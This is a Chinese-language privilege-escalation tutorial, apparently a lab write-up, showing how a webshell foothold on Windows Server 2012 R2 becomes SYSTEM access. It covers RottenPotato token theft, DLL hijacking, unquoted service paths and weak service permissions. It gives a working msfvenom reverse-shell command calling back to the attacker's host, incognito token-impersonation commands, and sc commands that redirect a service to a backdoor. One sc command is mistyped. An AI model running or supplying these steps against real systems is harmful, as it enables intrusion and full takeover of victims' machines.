一.烂土豆搭配令牌窃取提权-web权限
1.MSF生成后门木马通过webshell上传至目标服务器C盘目录下
环境:靶机 win2012 R2 物理机 +攻击机kali配合使用
原理:RottenPotato (烂土豆)提权的原理可以简述如下: 1.欺骗“NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。 2.对这个认证过程使用中间人攻击(NTLM重放),为“NTAUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过—系列的Windows API调用实现的。 3.模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
所以,一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,发现使用已经建好的账户(就是上面说的用户级账户)去反弹meterpreter然后再去执行EXP的时候会失败,但使用菜刀(IIS服务器权限)反弹meterpreter就会成功。
(1)木马生成
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.43.130 lport=4444 -f exe > houmen.exe
(2)通过webshell运行后门,开启监听后门运行成功后建立会话
2.将烂土豆通过webshell上传至目标服务器C盘目录下并且在meterpereter会话下运行它
(1)烂土豆上传和相关命令
烂土豆下载链接:https://codeload.github.com/foxglovesec/RottenPotato/zip/refs/heads/master
3.烂土豆运行成功后采用令牌窃取获取权限
(1)烂土豆运行
(2)令牌窃取
令牌(Token): 令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。
令牌窃取可参考链接:Windows令牌窃取提权_L-socks的博客-CSDN博客_令牌窃取提权
令牌窃取命令:
use incognito//进入incognito模块
list_tokens -u//列出可窃取的令牌
impersonate_token "NT AUTHORITY\\SYSTEM"//获取NT AUTHORITY\\SYSTEM权限
二.dll劫持搭配令牌窃取提权-web权限
原理: Windows程序启动的时候需要DLL(动态链接库)。如果这些DLL不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户) 过程:信息收集-进程调试(火绒剑)-制作dl并上传-替换dll-启动应用后成功
1.MSF生成恶意dll文件上传到目标服务器
2.通过火绒剑观察第三方软件的非系统调用文件,将其进行替换,然后跑起来获得会话0_o
3.再次套娃使用令牌窃取提权
三.不带引号服务路径问题提权-web,本地权限
原理:当Windows 服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
例如:这里C:\Program Files\phpstudy_pro\COM\phpStudyServer.exe
由于没加引号,这里的C:\Program Files里的空格相当于截断了路径,如果在C盘有一个C:\Program.exe系统就会优先运行它
过程:检测引号服务路径-利用路径制作文件并上传-启用服务或重启-调用后成功
1.查看有哪些不带引号的服务
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" | findstr /i /v """
这里为了方便观看我们就直接在服务器里查看了嘿嘿嘿
2.MSF生成特殊名称的exe后门并将文件上传到C盘下(必须在上传到这儿)
3.启动服务后获取会话提权成功
四.不安全的服务权限配置提权-本地权限
原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。 过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功
1.这里我们新建一个服务进行测试
sc create NewServiceName binpath="C:\Program.exe"//这里为了方便自己建一个服务,实际情况下可以用真实的服务然后改指向文件
2.使用微软自带的工具accesschk查看有哪些不安全的服务发现我们用来测试的这个服务
工具下载链接:https://download.sysinternals.com/files/AccessChk.zip
3.配置这个服务将它的路径指向我们的后门,开启服务MSF获得会话提权成功
sc config "NewServiceName" binpath="C:Programexe"//配置服务指向后门
sc start "NewServiceName"//开启服务